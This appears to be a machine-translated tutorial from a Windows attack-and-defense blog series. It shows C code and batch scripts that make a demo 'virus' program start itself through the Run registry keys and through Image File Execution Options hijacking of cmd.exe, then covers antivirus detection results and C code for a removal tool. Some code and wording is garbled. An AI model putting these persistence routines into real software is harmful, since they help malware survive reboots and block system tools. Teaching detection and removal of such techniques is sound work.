Anti-Virus Attack and Defense Research: self-starting using the registry

Anti-Virus Attack and Defense Research: self-starting using the registry
I. Preface
As I mentioned in the previous article, as long as you do not double-click a virus Trojan, it will not run. When it comes to running, there are many ways to realize the self-running of virus Trojans, but the premise is that someone needs to double-click them to start the self-running function of virus Trojans.
This time I mainly discuss how to use the registry to enable the "virus" (dialog box). Specifically, when a user double-clicks the "virus" (dialog box) Program for the first time, it automatically starts each time it is started. This method is often used by Trojans. To achieve Remote Control of Trojans, the Trojan server must always be online. In this way, hackers can use the client to manipulate users' computers implanted with Trojans. In the end, I still want to discuss how to deal with this self-starting Technology to completely eliminate viruses and Trojans.


2. Common Registry Startup items
Using registry-related registry items to enable the program to start itself is a common method. There are many table items available in the Registry, which are common as follows:
1. Run registry key
HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnce
HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run
HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ RunOnce
It should be noted that here RunOnce only runs once, and then the content of this table item is automatically deleted.
2. Load registry key HKCU \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Windows \ load 3. Userinit registry key
HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ Userinit
Generally, this registration key has a userinit.exe, but this key allows you to specify multiple programs separated by commas (,), for example, userinit.exe,cmd.exe.
The following uses programming to modify HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run as an example to enable the dialog box at startup:
[Cpp] view plaincopy
Void AddReg (){
Char RegName [] = "Software \ Microsoft \ Windows \ CurrentVersion \ Run"; char szBuf [MAX_PATH];
HKEY hKey = NULL;
Strcpy (szBuf, "% windir % \ Hacked.exe"); RegOpenKey (HKEY_CURRENT_USER, RegName, & hKey );
RegSetValueEx (hKey, // subkey handle "Hacked", // value name
0, // must be zero REG_EXPAND_SZ, // value type
(LPBYTE) szBuf, // pointer to value data strlen (szBuf) + 1); // length of value data
RegCloseKey (hKey );}

 

Add the above Code to the Main function in the previous chapter. After the computer is restarted, "virus" can be self-executed. You can modify the corresponding registry code in the above Code to add it to different registry keys for self-startup.

Figure 1 modify the Registry to enable automatic startup

Let's talk about the execution process of the entire program. Secret is added to the Registry to enable automatic startup.

However, if you run this program on a computer with anti-virus software installed, a message indicating that the startup Item is modified is displayed when the software is released, as shown in:

Figure 2 "Kill soft" prompt that the startup Item is modified

This indicates that modifying the location of the Registry Startup item is indeed a suspicious operation, and it is easy to be detected by software kill. The above functions can also be implemented using batch processing: the code is as follows:

@echo off   echo Windows Registry Editor Version 5.00 >>1.reg  echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] >>1.reg   echo "Hacked.exe"="C:\\Windows\\Hacked.exe" >>1.reg  regedit /s 1.reg   del /f 1.reg  

The above batch processing code will first create a registry file (REG), write the corresponding code to this file, and then delete the Registry file after running.

Of course, there is a better way to implement hidden startup of programs, which will be discussed in future articles.

 

3. Use Image hijacking to start the program

Since the registry is mentioned here, there is also a key registry entry to note, that is, Image hijacking, which is located under the Registry HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image FileExecution Option. The purpose of image hijacking is to provide special environment settings for some program execution bodies that may cause errors when running in the default system. It is of little significance to general users. On the contrary, it is easy to be exploited by viruses. Some viruses use this to deal with our anti-virus software or some other security analysis tools. In fact, we can use this to fight back the virus and prevent it from being started, the premise is that the name of the virus cannot be the same as the name of the system's main process. If the name is the same, the system may not work.

 

Then, create a new string value on the right and name it "Debugger". Then, enter the path of the dialog box we want to run. The Code is as follows:

void AddIFEO()   {          char RegName[]="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.exe";           char szBuf[MAX_PATH];          HKEY hKey = NULL;             strcpy(szBuf,"C:\\Windows\\Hacked.exe");           RegCreateKey(HKEY_LOCAL_MACHINE, RegName,&hKey);          RegSetValueEx(hKey,          //subkey handle                   "Debugger",          //value name                  0,                   //must be zero                   REG_SZ,              //value type                  (LPBYTE)szBuf,       //pointer to value data                   strlen(szBuf)+1 );   //length of value data          RegCloseKey(hKey);   }  

The batch processing code is as follows:

@echo off   echo Windows Registry Editor Version 5.00 >>1.reg  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] >>1.reg   echo "Debugger"="C:\\Windows\\Hacked.exe" >>1.reg  regedit /s 1.reg   del /f 1.reg  

Here, the special note is that when the virus runs successfully, when we want to run the program "cmd.exe", the "virus" will be directly triggered by the program ". However, because the command line window cannot be opened due to image hijacking, the "virus" program will be opened again. In this way, you can find that the dialog box cannot be closed. In this case, the hacker closes hacked.exe directly through the task manager. As shown in:

 

Figure 3 Shut Down hacked.exe through the Task Manager

 

4. Online Detection of "virus" programs

Compared with the previous program, this version adds the registry operation to achieve self-starting. First, use "Fire eye" for analysis:

Figure 4 "Fire eye" detection report

Through the "Eye of Fire" comment, our program is clearly analyzed. The image hijacking method is used, and the auto-start item is added. Image hijacking is defined as a very dangerous action by the fire eye. The software I installed on my computer has not reported any virus. I personally feel that the program I wrote will not cause any harm, and my program is indeed harmless.

Next, we need to use other anti-virus software to detect the program. We still use the online virus detection website VirusTotal to detect my program, which is fast and convenient, in the future, every time I write a new version, I will detect it on this website and in the eye of fire. The result is as follows:

Figure 5 Online Virus Detection

Compared with the online virus detection results in the previous article, we can see that this NOD32 is added. Maybe this anti-virus software is sensitive to registry operations or image hijacking, so we will not repeat it here.

 

5. virus removal

With the increase of program functions, more and more finishing work will be completed. In the previous article, you only need to delete two "virus" files, but this time you need to process the registry key and combine it with "Fire eye:

Figure 6 "Fire eye" Operation Monitoring

Through the information, you can write the killing tool. In fact, the batch processing code used to delete the "virus" file last mentioned in the previous article can be considered as a special killing effect. At the end of the article, I will attach a specific code for the current program. "Virus" is evolving, so my exclusive killing tools will continue to strengthen. What I do now is equivalent to manually scanning and killing viruses and Trojans. First, we need to figure out the principle of the program, such as what files have been created and What registry items have been modified, or what processes are hijacked. After obtaining sufficient information, it is very easy to create a kill tool. You can use the encoding method, or use special software to automatically generate a kill tool. Therefore, the difficulty lies in the analysis of the principles of viruses and Trojans. At present, my program is still relatively simple, without the need to use too complex analysis technology. As the future discussion goes deeper, the analysis technology will become increasingly complex with the increasing complexity of virus Trojans.

Generally, the virus and Trojan killing tool can be compiled using C/c?##, or directly approved by batch. However, the program cannot be executed because the program holds cmd.exe. Therefore, executing a batch processing program will only help the virus files to be opened continuously, therefore, C/C ++ is used to compile this kill tool.

Run the following code to delete the corresponding registry key:

Void KillHackedReg () {char RegIFEO [] = "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options "; char RegRun [] = "Software \ Microsoft \ Windows \ CurrentVersion \ Run"; HKEY hKeyHKLM = NULL; HKEY hKeyHKCU = NULL; // Delete the corresponding key value RegOpenKey (HKEY_CURRENT_USER, RegRun, & hKeyHKCU); RegDeleteValue (hKeyHKCU, "Hacked"); RegCloseKey (hKeyHKCU) under Run ); // Delete the image of cmd.exe to hijack RegOpenKey (HKEY_LOCAL_MACHINE, RegIFEO, & hKeyHKLM); RegDeleteKey (hKeyHKLM, "cmd.exe"); RegCloseKey (hKeyHKLM );} run the following code to delete a virus file: [cpp] view plaincopyvoid KillHackedFile () {char szWindowsHacked [MAX_PATH] = {0}; char szSystemHacked [MAX_PATH] = {0 }; getWindowsDirectory (szWindowsHacked, MAX_PATH); GetSystemDirectory (szSystemHacked, MAX_PATH); strcat (szWindowsHacked, "\ Hacked.exe"); strcat (szSystemHacked, "\ Hacked.exe "); deleteFile (szWindowsHacked); DeleteFile (szSystemHacked );}

The kill tool is actually a basic API function call and will not be discussed here.

 

Vi. Summary

This article discusses how to use the registry to implement automatic startup of programs, especially image hijacking, and make the batch processing code run invalid. Therefore, using C/C ++ to write the exclusive killing tool is omnipotent, it is often not blocked.

All of the above discussions are simple principles, but some of the technical methods changed from this will always be used by viruses and Trojans in reality, and thus become complicated and difficult malicious programs. But in any case, we have a solution. Therefore, you do not need to talk about changing the color of the virus. With the improvement of our security technology, virus and Trojan horses are accessible.